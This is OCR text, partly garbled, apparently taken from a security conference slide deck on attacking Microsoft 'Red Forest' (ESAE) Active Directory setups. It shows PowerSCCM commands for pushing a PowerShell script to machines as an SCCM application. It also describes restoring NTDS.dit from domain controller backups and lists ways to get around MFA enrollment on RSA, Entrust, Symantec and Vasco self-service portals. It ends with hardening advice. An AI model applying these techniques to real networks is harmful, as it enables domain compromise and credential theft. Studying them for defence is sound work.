= $S = NewSccmSession -Computername <SCCM Server> -Sitecode <SiteCode> -Credentials $Creds
-ConnectionType WMI

= Store the session into a variable, this session is basically used for every PowerSCCM Command
= New-SccmApplication -ApplicationName <App Name> -Session $S -PowershellScript .\script.psl
= Create the actual application to be deployed

= New-SccmApplicationDeployment -AssignmentName <Any String Value> -Session $S -
ApplicationName <App Name> -CollectionName <Collection Name>

= Deploy the application assuming you already know the collectionname you want to target. If you do not know
which collection name, this can be found using "Get-SccmCollection -filter *"

@



ATTACK RED FOREST VIR LEVERAGING ENDPOINT
NETWORK BACKUP SOLUTION

= Target Network backup solutions used for Red Forest
= Attack prerequisites:

= Network backup servers used to manage critical servers such as Domain Controllers are not
protected as Tier O systems

= Admin-level access obtained for network backup servers

= No encryption applied for the backups
= Attack objective:

= Extract critical files such as NTDS.dit from previous backups via backup management console
= Attack procedures:

= Identify a valid file restoration point for a targeted server such as Domain Controller

= Restore the marked files from the backup file image




ATTACK RED FOREST VIR LEVERAGING ENDPOINT
NETWORK BACKUP SOLUTION

= Identify a valid file restoration point for a targeted server

NetBackup History: For time range 01/01/1970 to 30/10/2018 20:46:30

Jul

W 25 .. 028 .. 03 .02 .02 .24 .27 .29 .. 25 .. 27 26 .. 28
N v ~ v ~ ~ ~ ~ M ~ ~ ~

2 | B B @ 3




ATTACK RED FOREST VIR LEVERAGING ENDPOINT
NETWORK BACKUP SOLUTION

= Restore the marked files from the backup file image

General |
Restore Destination Choices
(" Restore everything to its original location
(" Restore everything to a different location (maintaining existing structure)

IS Restore individual folders and files to different locations

(double-click to modify)
Source | Destination | Time BackedUp | Time Modified |
D:\image_out txt 23/08/201018:00:32  08/10/2009 17:52:29

" € Source: D:\image_out txt

l' New Destination: _I

|C:vtempitest Browse |

- Rest

I~ 'F OK Cancel

I~ F Y/

I~ Rename soft ink I= ’ sck even if it d us later sr

| the destination file already exists:

" Overwrite existing files

" Restore the file using a temporaty filename
= Do not restore the file

[~ Dveide default job priority - -

| Stat Restore || Cancel Help

L




ATTACK RED FOREST VIR BYPASSING MULTI-FACTOR
&%/ RUTHENTICATION

Section #5



ATTACK RED FOREST VIR BYPASSING MULI-FACTOR

RUTHENTICATION (MEA)
METHODOLOGY

= Identify flaws/misconfiguration in MFA provisioning process.
= Where are you gaps in MFA implementation?

= Is MFA enforced across all applications management interfaces and users? i.e webmail,
VMware / Hypervisor management consoles, Cloud-based applications

= Is registration link immediately expire after user enrolled?

= s it possible to gain access to a soft token solution?

= Are you allow users to activate multiple tokens on different devices?

= Can an attacker enroll to the MFA system without the targeted user knowledge?

= Identify Self-Service portal
= Internal IT documentation on SharePoint, Intranet portal, browser bookmarks and history




ATTACK RED FOREST VIR BYPASSING MULI-FACTOR

RUTHENTICATION (MEA)
RSA SECUREID

[m Self-Service Console

& My Account

This page allows you to view your user profile and manage your authenticators. Certain edits to your accoun
You can also use this page to request authenticators and user group membership, and view your request his

! Notes

Your I0S device (v2) token needs to be activated before you can use it. Click on the "Activate Your T
token.

My Authenticators

My Profile
Tokens - view SecurlD token demo Personal Informatio
FIRST_NAME:
10S device (v2) MIDDLE_NAME:
LAST_NAME:
Token Serial LOGINUID:
Number: EMAIL:
created on Nov 3, iERTJzNC: o a
PIN: 12:49:34 AM CDT CEOUE: IRNIOR L abe
Change PIN
Expires On: Jan 39, 20?; §:QO:00 PM CST
request replacement
Windows PC View details, test, troubleshoot

| Token Serial |
Pt PE—
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ATTACK RED FOREST VIR BYPASSING MULTFACTOR &/

RUTHENTICATION (MEA) 24
RSA SECUREID

RS/\ Security Console

Home Identity ~ Authentication ~ \ Reporting ~* RADIUS ~ Administration ~

“#* Self-Service Settings: Customization

<] E-mail Notifications for User Account Changes

When users change user profiles or perform activities from the RSA Self-Service Console, the system automatically sends users e-mail wit
Console URL, and select the types of activities or account changes that trigger this e-mail.

Cancel Reset

Configure Default Self-Service Console URL

E-mail notifications may contain a link to the Self-Service Console. If the deployment does not include web tiers, the format for the Self-
deployment includes web tiers, you can provide a link to the virtual host. The format for the Self-Service Console URL with the wirtual ho

(&) Self Service Console URL: *

E-mail Notifications

&) Change Profile: []Enable e-mail notifcations for profile changes

&) Change/Reset Password: []Enable e-mail notifications for password changes

\2) Change/Reset PIN: []Enable e-mail notifications for PIN changes

&) Unblock PIN: []Enable e-mail notifications when PINs are unblocked

2) Change On-Demand Tokencode Delivery Options: [“]Enable e-mail notifications for on-demand tokencode delivery options

2) Request Emergency Access: []Enable e-mail notifications for emergency access requests

&) Resynchronize Tokens: [“]Enable e-mail notifications for resynchronized tokens (
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RUTHENTICATION (MEA)
ENTRUST IDENTITYGUARD GRID CARD

Enfrust

[A4] [H2] [H5]
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ATTACK RED FOREST VIR BYPASSING MULI-FACTOR

RUTHENTICATION (MEA)
ENTRUST IDENTITYGUARD GRID CARD

Emtrust
IdentityGuard Self-Service

Reissue eGrid
Your request to have your eGrid reissued was successful
Your eGrid with serial number 420 i$ now avadlable

Please choose one of your emaill accounts to have your eGrid delverad to you

| Email ¥
To save your @Grid on this computer, please click the llowing button DownbadeG(ul
You can start using your eGrid right away!

OK

Copyright © 2013 Entrust
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RUTHENTICATION (MEA)
SYMANTEC VIP

\/Symantec. VIP SELF SERVICE PORTAL

0 ScCess the Self Senvice Ponal, enter your user name and password, and dick Sign In
User Name
Password

fnadee by
Symastec Sign In
Jv ) s

ahvdatron
10 Protection
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RUTHENTICATION (MEA)
SYMANTEC VIP
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RUTHENTICATION (MEA)
VASCO DIGIPASS
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Section #6



RED FOREST ENHANCEMENT

Know the admin accounts / groups within the AD / ESAE
= Admin accounts from group perspective

= Admin accounts from permission perspective

Manage AD / ESAE admin accounts / groups via a password management solution
Host critical network infrastructure such as DC with physical hardware

If virtual DC is required, make sure the virtualization platform is protected as Tier 0 with full disk
encryption

A separate set of endpoint security / management solutions need to be used within ESAE, and protected
as Tier O

Effective network segmentation needs to be applied among different AD / ESAE layers
Passwords for legacy local admin / service accounts need to be rotated frequently

Enhance the delivery mechanism / validation process for MFA enrollment




